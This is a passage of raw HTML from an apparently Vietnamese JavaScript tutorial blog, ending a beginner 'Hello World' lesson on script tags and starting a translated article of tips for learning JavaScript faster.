bên trong thẻ <code>&#x3C;script></code> sẽ bị bỏ qua. Chỉ có code trong file JavaScript được liên kết qua thuộc tính <strong>src</strong> là có tác dụng.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Hello World JavaScript from alert"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đoạn code này sẽ bị bỏ qua</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Bạn phải chọn một trong hai cách là sử dụng file JavaScript riêng biệt rồi liên kết qua thuộc tính <strong>src</strong> hoặc viết code JavaScript trực tiếp trong thẻ <code>&#x3C;script></code>.</p> <p>Với ví dụ trên, bạn có thể tách ra thành hai thẻ <code>&#x3C;script></code>:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Hello World JavaScript from alert"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là một số kiến thức cần nhớ để viết chương trình JavaScript đầu tiên:</p> <ul> <li>Cách đơn giản nhất là dùng tab <strong>console</strong> trên Dev Tools của trình duyệt. <ul> <li>Bạn chỉ cần mở trình duyệt, nhấn <strong>F12</strong> hoặc tổ hợp phím <strong>Ctrl Shift I</strong> (Windows) hoặc <strong>Ctrl Opt J (macOS)</strong> để mở Dev Tools (tùy thuộc trình duyệt, hệ điều hành).</li> <li>Chọn tab console rồi viết code JavaScript trực tiếp trên đó (để viết nhiều dòng code thì nhấn tổ hợp <strong>Shift Enter</strong>).</li> <li>Nhấn <strong>Enter</strong> để chạy code JavaScript đã viết.</li> </ul> </li> <li>Ngoài ra, bạn có thể viết code JavaScript với HTML. <ul> <li>Code JavaScript phải đặt trong thẻ <code>&#x3C;script></code></li> <li>Bạn có thể viết code JavaScript ra file riêng biệt rồi tích hợp vào HTML qua thuộc tính <strong>src</strong> của thẻ <code>&#x3C;script></code>.</li> <li>Đường dẫn đến file JavaScript có thể là tuyệt đối (tính từ gốc trang web), tương đối (tính từ file html hiện tại) hoặc URL đầy đủ.</li> <li>Để tích hợp nhiều file JavaScript, bạn sử dụng nhiều thẻ <code>&#x3C;script></code>.</li> </ul> </li> </ul> <p>Đây chỉ là hai cách trong số nhiều cách để viết chương trình JavaScript. Tuy nhiên, đó là đủ để bạn có thể thực hành viết code JavaScript trong những bài sau.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1-hiển-thị-hộp-thoại" style="position:relative;"><a href="#b%C3%A0i-1-hi%E1%BB%83n-th%E1%BB%8B-h%E1%BB%99p-tho%E1%BA%A1i" aria-label="bài 1 hiển thị hộp thoại permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1: Hiển thị hộp thoại</h3> <p>Tạo trang web (html) hiển thị đồng thời ra console và hộp thoại với nội dung: <strong>I'am a JavaScript developer</strong>.</p> <p><a href="https://github.com/completejavascript/blogpost-demo/tree/main/helloworld/task1">Xem đáp án</a> | <a href="https://blogpost-demo.pages.dev/helloworld/task1/helloworld1">Xem demo</a></p> <h3 id="bài-2-hiển-thị-hộp-thoại-file-js-riêng-biệt" style="position:relative;"><a href="#b%C3%A0i-2-hi%E1%BB%83n-th%E1%BB%8B-h%E1%BB%99p-tho%E1%BA%A1i-file-js-ri%C3%AAng-bi%E1%BB%87t" aria-label="bài 2 hiển thị hộp thoại file js riêng biệt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2: Hiển thị hộp thoại file JS riêng biệt</h3> <p>Tương tự như bài 1, nhưng lần này bạn tách code JavaScript ra một file khác là <strong>main.js</strong>. Sau đó, bạn tích hợp file JavaScript vào file html thông qua thuộc tính <strong>src</strong> của thẻ <code>&#x3C;script></code>.</p> <p><a href="https://github.com/completejavascript/blogpost-demo/tree/main/helloworld/task2">Xem đáp án</a> | <a href="https://blogpost-demo.pages.dev/helloworld/task1/helloworld2">Xem demo</a></p>[email protected]<![CDATA[Sáu mẹo đơn giản giúp học lập trình Javascript nhanh hơn]]><![CDATA[Khi mọi người cố gắng học lập trình Javascript, hay bất kỳ kĩ năng lập trình nào, họ thường trải qua những thử thách giống nhau như: Một vài ý tưởng có thể khó hiểu, đặc biệt nếu…]]>https://completejavascript.com/hoc-lap-trinh-javascript-nhanh-hon/https://completejavascript.com/hoc-lap-trinh-javascript-nhanh-hon/<![CDATA[Dịch blog]]>Thu, 27 Apr 2017 00:20:22 GMT<p>Khi mọi người cố gắng học lập trình Javascript, hay bất kỳ kĩ năng lập trình nào, họ thường trải qua những thử thách giống nhau như:</p> <ul> <li>Một vài ý tưởng có thể khó hiểu, đặc biệt nếu như bạn sử dụng một ngôn ngữ lập trình khác trước đó.</li> <li>Rất khó để tìm ra một khoảng thời gian (và thỉnh thoáng đó là động lực) để học.</li> <li>Một khi bạn đã hiểu một vài thứ, nó là rất dễ để bạn quên nó một lần nữa.</li> <li>Những công cụ là rất nhiều và luôn luôn thay đổi, rất khó để biết được nên bắt đầu học từ đâu.</li> </ul> <p>May mắn là, những thử thách này có thể được nhận ra và cuối cùng được chinh phục. Trong bài viết này, tôi sẽ trình bày sáu mẹo đơn giản giúp học lập trình <a href="/javascript/">Javascript</a> nhanh hơn và giúp bạn trở thành một lập trình viên <a href="/tag/anh-che/">hạnh phúc hơn</a>, hiệu quả hơn.</p> <h2 id="đừng-để-những-quyết-định-tương-lai-làm-bạn-dừng-bước-từ-những-tiến-bộ-hôm-nay" style="position:relative;"><a href="#%C4%91%E1%BB%ABng-%C4%91%E1%BB%83-nh%E1%BB%AFng-quy%E1%BA%BFt-%C4%91%E1%BB%8Bnh-t%C6%B0%C6%A1ng-lai-l%C3%A0m-b%E1%BA%A1n-d%E1%BB%ABng-b%C6%B0%E1%BB%9Bc-t%E1%BB%AB-nh%E1%BB%AFng-ti%E1%BA%BFn-b%E1%BB%99-h%C3%B4m-nay" aria-label="đừng để những quyết định tương lai làm bạn dừng bước từ những tiến bộ hôm nay permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đừng để những quyết định tương lai làm bạn dừng bước từ những tiến bộ hôm nay</h2> <p>Với nhiều người học lập trình Javascript, một trong những câu hỏi đầu tiên họ hỏi đó là: nên sử dụng Framework nào (và công bằng mà nói thì có rất nhiều). Nhưng nếu như bạn chưa thành thạo với <a href="/kieu-du-lieu-trong-javascript/">Javascript nguyên thuỷ</a>, đó sẽ là một câu hỏi sai. Bạn sẽ dành tất cả thời gian của mình để tìm kiếm những Framework khác nhau. Và thực sự, bạn không hề tiến bộ.</p> <p>Một cách để giúp bạn thoát khỏi cái bẫy của sự do dự, đó là việc có một bản đồ về những gì bạn cần phải học. Ví dụ, để trở thành một lập trình viên front-end, tấm bản đồ của bạn có thể như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 28.484848484848484%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABUklEQVQY0x3P20vCUACA8f3rvSlWEgUWVPaWeMmHEEznKJIoIdicu2nMnV3c7Zyt6ZnbzuYIe/t+jx+lukSHueoRf5unpFTdDECi+cRAJC9K4GfAzwHMNZ9s94UOCYBHAp+QoqQaL85lX2oMbZoLpLV3Q/uNgXo9NNsfyNjAB8a56C/rXfGOdmaSdz826z2p3hNvhoaNMDVi0ZvwO2KRbMZRnI9ZxMwRzaIvJcrIYSqENIsmHHzlAzdM38WQZuGEgwwHwwhTvLb7lm0eYCsgOMkFI5GtRDKTHydNSaH8t2wmspWiLVnZmWwlipVKxj6IdlSlvTy5nVY7q8HMXepBrafW2kKlJTbHpuWGV89qtSVUH/nzp9Wn4DQZ77SjnHWVxnCj2wHFrrFkZuwaWyhNsgO33i1AzGnx0oqLopSMeK7FPIgF/TglGniuYV7DC4DzQ/kHiXczE2zjMyUAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="road maps để học javascript nhanh hơn tại completejavascript.com" title="road maps để học javascript nhanh hơn tại completejavascript.com" src="/static/016e28a2d8b1ce66f0e22715069914ae/7c811/sau-meo-hoc-javascript-nhanh-hon-frontend-dev-roadmap-completejavascript.com_.png" srcset="/static/016e28a2d8b1ce66f0e22715069914ae/103f2/sau-meo-hoc-javascript-nhanh-hon-frontend-dev-roadmap-completejavascript.com_.png 165w, /static/016e28a2d8b1ce66f0e22715069914ae/748ba/sau-meo-hoc-javascript-nhanh-hon-frontend-dev-roadmap-completejavascript.com_.png 330w, /static/016e28a2d8b1ce66f0e22715069914ae/7c811/sau-meo-hoc-javascript-nhanh-hon-frontend-dev-roadmap-completejavascript.com_.png 660w, /static/016e28a2d8b1ce66f0e22715069914ae/a6dfb/sau-meo-hoc-javascript-nhanh-hon-frontend-dev-roadmap-completejavascript.com_.png 747w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Cụ thể hơn nữa, bạn có thể làm một trang web với <a href="/tag/html/">HTML</a> và <a href="/tag/css/">CSS</a>. Hãy xem xét từng bước riêng rẽ như này. Nó sẽ giúp bạn thấy được những gì bạn cần tập trung vào, và bạn sẽ không phải mất thời gian lo lắng về những thứ sẽ đến sau này.</p> <h2 id="đừng-để-sự-tự-tin-làm-bạn-quên-đi-những-thứ-đã-học" style="position:relative;"><a href="#%C4%91%E1%BB%ABng-%C4%91%E1%BB%83-s%E1%BB%B1-t%E1%BB%B1-tin-l%C3%A0m-b%E1%BA%A1n-qu%C3%AAn-%C4%91i-nh%E1%BB%AFng-th%E1%BB%A9-%C4%91%C3%A3-h%E1%BB%8Dc" aria-label="đừng để sự tự tin làm bạn quên đi những thứ đã học permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đừng để sự tự tin làm bạn quên đi những thứ đã học</h2> <p>Hiểu một ý tưởng nhanh có thể là một trong những thứ có hại nhất đến sự tiến bộ của bạn trong việc học lập trình Javascript. Hãy để tôi giải thích.</p> <p>Khi bạn đọc vài thứ và hoàn toàn hiểu ý nghĩa. Nó sẽ xúi giục bạn tiếp tục với những thứ tiếp theo ngay lập tức. Có thể bạn sẽ lại hiểu và lại tiếp tục với những thứ tiếp theo một lần nữa. Nhưng chẳng bao lâu, bạn sẽ đến một điểm mà bạn nhận ra rằng mình đã quên những thứ đã học trước đó. Vì vậy bạn quay lại. Bạn xem qua những thứ đã học để nhớ lại chúng. Rồi bạn lại tiếp tục học những thứ mới. Nhưng bây giờ, bạn lại quên một vài thứ khác. Cứ như thế cho đến khi bạn nhận ra rằng mình đã hoàn toàn quên hết những gì đã học. Bạn thất vọng, nghỉ ngơi, rồi sau đó cố gắng quay lại. Cuối cùng bạn thật sự đã quên hết tất cả.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABvElEQVQoz02STa6iQBSFXZN7YOzIDbgFt8DADZi4AqfOnRkDITGGPNqWRwjSdOSh9V9QTVXxYzqAz+cZVurLvfecMwIAIIQIIZRSznnRSwjx71tCiOGRc04pJYQghAAA9/t9BCEcyDzPu79lKZWSSimtddVJay2lLL5FKcUYQwg7GCFEKUUIeZ73y/PCz8/Tx0ccx3EUBb4fBMH5fPY8j3Pu+75pmsvlMgiCYfgTJoRYjnO2bWxZmWXBw4HaNjoczq5r2XYURXVdO45jmuZ6vY7jmBDSwRjjAT4ej57rgiyLwjD0/TRJoiD4fTqlaVpp3TTNdrs1TXO1Wm02G4wxQugJM8aKoij7g6uqquu6advH49G2bdM0uocnk8lisZjP5+PxOMsyQshosJoxlue5EKIsS/Xim6au66qqlFJt2xqGMZvNptOpYRhZlmGMe5gyxnnO+ZCQlD9ma62VUrKX4zj7/X6327mu+zQMQsi/Yg5vPC+KPq1u+Z4fJKUsy1IIMWyhtRZC/MBlcsJ/w8uf5HKJkiS5Xq9pmiKEpJTvPWGMvUJ+5gwAwPcvDAEeStYf/+rZe73eYQDA7Xb7D9KiSxD9Sq9lAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="thực hành đúng giúp học lập trình javascript nhanh hơn" title="thực hành đúng giúp học lập trình javascript nhanh hơn" src="/static/bb6b968cfe13d231995307e6efd5045a/7c811/only-perfect-practice-makes-perfect-completejavascript.com_.png" srcset="/static/bb6b968cfe13d231995307e6efd5045a/103f2/only-perfect-practice-makes-perfect-completejavascript.com_.png 165w, /static/bb6b968cfe13d231995307e6efd5045a/748ba/only-perfect-practice-makes-perfect-completejavascript.com_.png 330w, /static/bb6b968cfe13d231995307e6efd5045a/7c811/only-perfect-practice-makes-perfect-completejavascript.com_.png 660w, /static/bb6b968cfe13d231995307e6efd5045a/a27c6/only-perfect-practice-makes-perfect-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><strong>May mắn là có một cách đơn giản gồm 2 bước cho vấn đề này:</strong></p> <ul> <li>Giới hạn những thứ bạn sẽ học trong một lần.</li> <li>Thực sự thực hành - bắt tay vào viết code.</li> </ul> <p>Mỗi khi bạn học một ý tưởng mới, hãy chắc chắn rằng bạn nghiên cứu nó, chơi với nó, trở nên thoải mái với nó. Thậm chí kết hợp nó với những ý tưởng khác. Một điều thật sự quan trọng đó là viết ra những đoạn code ở bất kì ví dụ nào mà bạn học. Bởi vì, đây là những thứ giúp bạn hấp thu kiến thức mới. Và việc giới hạn những thứ bạn học trong một lần sẽ giúp bạn ghi nhớ những thứ cần thiết. Một lý do đơn giản hơn, đó là việc nhớ ít thứ hơn sẽ dễ dàng hơn.</p> <p>Quá trình này có cảm giác sẽ lâu hơn việc đọc lướt qua mọi thứ, rồi tiếp tục với những thứ khác. Nhưng nó thực sự tốn ít thời gian hơn, vì bạn không cần phải quay lại để xem lại những gì mình đã học.</p> <p><em>Có thể bạn quan tâm:</em></p> <ul> <li><em><a href="/xoan-nao-voi-phong-van-javascript-1/">Xoắn não với phỏng vấn JavaScript 1</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-2/">Xoắn não với phỏng vấn JavaScript 2</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-3/">Xoắn não với phỏng vấn JavaScript 3</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-4/">Xoắn não với phỏng vấn JavaScript 4</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-5/">Xoắn não với phỏng vấn JavaScript 5</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-6/">Xoắn não với phỏng vấn JavaScript 6</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-7/">Xoắn não với phỏng vấn JavaScript 7</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-8/">Xoắn não với phỏng vấn JavaScript 8</a></em></li> <li><em><a href="/xoan-nao-voi-phong-van-javascript-9/">Xoắn não với phỏng vấn JavaScript 9</a></em></li> </ul> <h2 id="tiếp-cận-việc-thực-hành-với-tư-duy-đúng-đắn" style="position:relative;"><a href="#ti%E1%BA%BFp-c%E1%BA%ADn-vi%E1%BB%87c-th%E1%BB%B1c-h%C3%A0nh-v%E1%BB%9Bi-t%C6%B0-duy-%C4%91%C3%BAng-%C4%91%E1%BA%AFn" aria-label="tiếp cận việc thực hành với tư duy đúng đắn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tiếp cận việc thực hành với tư duy đúng đắn</h2> <p>Rất nhiều người xem việc thực hành là buồn tẻ và lặp lại. Vì vậy, họ thường bỏ qua hoặc rút gọn nó. Nếu bạn cố gắng rút gọn việc thực hành Javascript, thì cuối cùng bạn sẽ mất nhiều thời gian hơn để học nó. Nhưng làm sao để việc thực hành Javascript thú vị hơn. Và bạn sẽ thực sự làm việc đó.</p> <p>Thử thay đổi tư duy như sau:</p> <p>Như nào nếu bạn đã được học một kiến thức mới về Javascript và bạn không được phép dùng nó? Bạn cảm thấy thế nào? Với cá nhân, tôi thật sự thấy khó chịu, đặc biệt là sau khi mất một thời gian để hiểu nó. Điều đó sẽ giống như một đứa trẻ được cho một đồ chơi mới, và không được phép chơi với nó.</p> <p>Khi bạn học được một kiến thức mới ở Javascript, cố gắng đối xử với nó như một đồ chơi mới, một chiếc xe mới, một đôi giày mới hay bất kì một thứ gì khác bạn thấy vui khi khám phá nó. Và rồi đừng thực hành như là bạn đang làm việc, hãy thực hành như thể bạn đang chơi với nó. Hãy làm thứ gì đó hay ho với những kĩ năng mới của bạn. Làm ngạc nhiên chính mình. Trình diễn cho bạn bè.</p> <p>Với một tư duy đúng, bạn sẽ học nhanh hơn. Bạn sẽ nhớ mọi thứ lâu hơn. Và quan trọng, bạn sẽ thấy vui hơn.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADLklEQVQozwXBe1DTBQDA8d9dx+Uu7YpSYHDHuSAIgW1OGHuwDcZIkBGgKAJDY7jjIXDkISpeehjqPB8bHU25qdtEIgSZIrIWoyzJAwwcXHedd1h3hj3OLvD/7tvnI0yfySDco8XbrKF+mwR/u5YXX5tZ+66UcaeBltwU/hy0sva4jrWFA/w7U8PKeCF/hGw8+OogA3u3Mt+Tx/JgDg9PSRF+cqiZvahm6cJ+HLuM+Ds1rD4oYWVIx0J/MXZbGf0NalZnLayGzLycKOD5UDbPJyr567dRgpdqmXUZWPbpeXw+AyHcZ2DJlceCo4OBc130n9rPNz4bwSv7mHRV8+XwMLdueZkaPcnk1VqejFgIuD/me58V/lvk5T8hfpmo4KlbS7hXjbDUpyfQmcnYoRo8n7ZzrauZYH8jgWtWhvsOM3I/SOjHOe54j+G/3sLUdQvjPRV47VYCY58zGXQx7qnlqVdP+LIGYd6pxFO/lYG6Um407sXbVsXKzCFe/dzBD3facLt7eTQzjX/Mx9+/DvFi0c6zb5uYGzpA6F4nE3fP039pN88GjSx+kYUQdmnwfZLJyQIVgxYTropsrtrNnO3I5eFtGyc6m3lyoYqp2w6C97oZu9nKyvxR+L2bV6ujzPVVE+jIIuTOZ7pXj/DoYhYjeQlURUdy2SxlUafg8Pr1CILA8cZstLY2DMoM7jbqMJbsZJ34A9z2MpbDR5kMOzntLOXMjkRaa+TsK9yMcLNOQrcogoaI12h6fyP35fG43xIhTYukpkzNusKDCKm5KGRSTlfmsjlZRs8RE2XHNGzvUpJkkWDKj6FaFUe5KRrB15CIo0RBS2oshhgR9elRaDeJMGRF42mVk5QiR54uIy0phUKtAsm7b+M8UcKe+jxUZe8hM8aTX5TAh6p4ivViBE/zFtznmjAZMynQJ1JqVpCwLQlbcTpjR7Iwx20kWyzCIo8kc8MbxL4egeP4Diqt5aTp9FgrjWTnKElXybAWJSEEzmrR5umIEsehlohI1qj4aHcu8ze24/9MhVIdTUbym1QbN5G6ZQP50neYdudzpb2IncmpVOTEYkiMQREnplwXxf/0b/+4JVAFIwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Hãy theo đuổi đam mê, thành công sẽ theo đuổi bạn" title="Hãy theo đuổi đam mê, thành công sẽ theo đuổi bạn" src="/static/2e817643bbd21738aa2166aae3d722b5/7c811/hay-theo-duoi-dam-me-thanh-cong-se-theo-duoi-ban-completejavascript.com_.png" srcset="/static/2e817643bbd21738aa2166aae3d722b5/103f2/hay-theo-duoi-dam-me-thanh-cong-se-theo-duoi-ban-completejavascript.com_.png 165w, /static/2e817643bbd21738aa2166aae3d722b5/748ba/hay-theo-duoi-dam-me-thanh-cong-se-theo-duoi-ban-completejavascript.com_.png 330w, /static/2e817643bbd21738aa2166aae3d722b5/7c811/hay-theo-duoi-dam-me-thanh-cong-se-theo-duoi-ban-completejavascript.com_.png 660w, /static/2e817643bbd21738aa2166aae3d722b5/a27c6/hay-theo-duoi-dam-me-thanh-cong-se-theo-duoi-ban-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="tìm-thời-gian-học-lập-trình-javascript-sử-dụng-mẹo-facebook" style="position:relative;"><a href="#t%C3%ACm-th%E1%BB%9Di-gian-h%E1%BB%8Dc-l%E1%BA%ADp-tr%C3%ACnh-javascript-s%E1%BB%AD-d%E1%BB%A5ng-m%E1%BA%B9o-facebook" aria-label="tìm thời gian học lập trình javascript sử dụng mẹo facebook permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tìm thời gian học lập trình JavaScript sử dụng mẹo Facebook</h2> <p>Một trong những vấn đề phổ biến với mọi người là họ không có thời gian để lập trình. Thông thường, mọi người sẽ đều dành hàng giờ đồng hồ trên các trang như Facebook, Youtube, Wikipedia, hay Reddit. Điều này có thể đúng hay không đúng với bạn, thì đây vẫn sẽ là một bài học đáng để học.</p> <p>Tôi đã thật sự có thời gian khi tôi chỉ định vào lướt Facebook một chút. Nhưng rốt cục, tôi đã dành thời gian hàng giờ đồng đồ cho nó. Chuyện này xảy ra như nào? Nó thực sự xảy ra vì tôi không có ý định vào Facebook một thời gian dài. Bắt đầu với một số thứ là một phần khó khăn nhất. Tuy nhiên, giữ cho cam kết ban đầu nhỏ, tôi đã dễ dàng để thực hiện nó. Nếu ai đó hỏi tôi rằng đã chuẩn bị gì để dành hàng giờ trên Facebook, tôi sẽ trả lời là <strong>Không</strong>, vì tôi thật sự không có thời gian. Tuy nhiên, tôi đã lĩnh hội ý tưởng của việc kiểm tra một thứ gì đó nhanh. Và thật sự tôi đã bị thu hút vào đó.</p> <p>Tin tốt là bạn có thể sử dụng hiệu ứng tâm lý này khi học lập trình. Đừng cam kết sẽ học lập trình trong hàng giờ đồng hồ, bạn sẽ không có thời gian. Chỉ cần nói với bản thân rằng bạn sẽ thử một vài đoạn code trong vòng ba phút. Bạn sẽ không bao giờ phải đi tìm kiếm thời gian một lần nữa.</p> <h2 id="nghĩ-chậm-hơn-và-bạn-sẽ-học-nhanh-hơn" style="position:relative;"><a 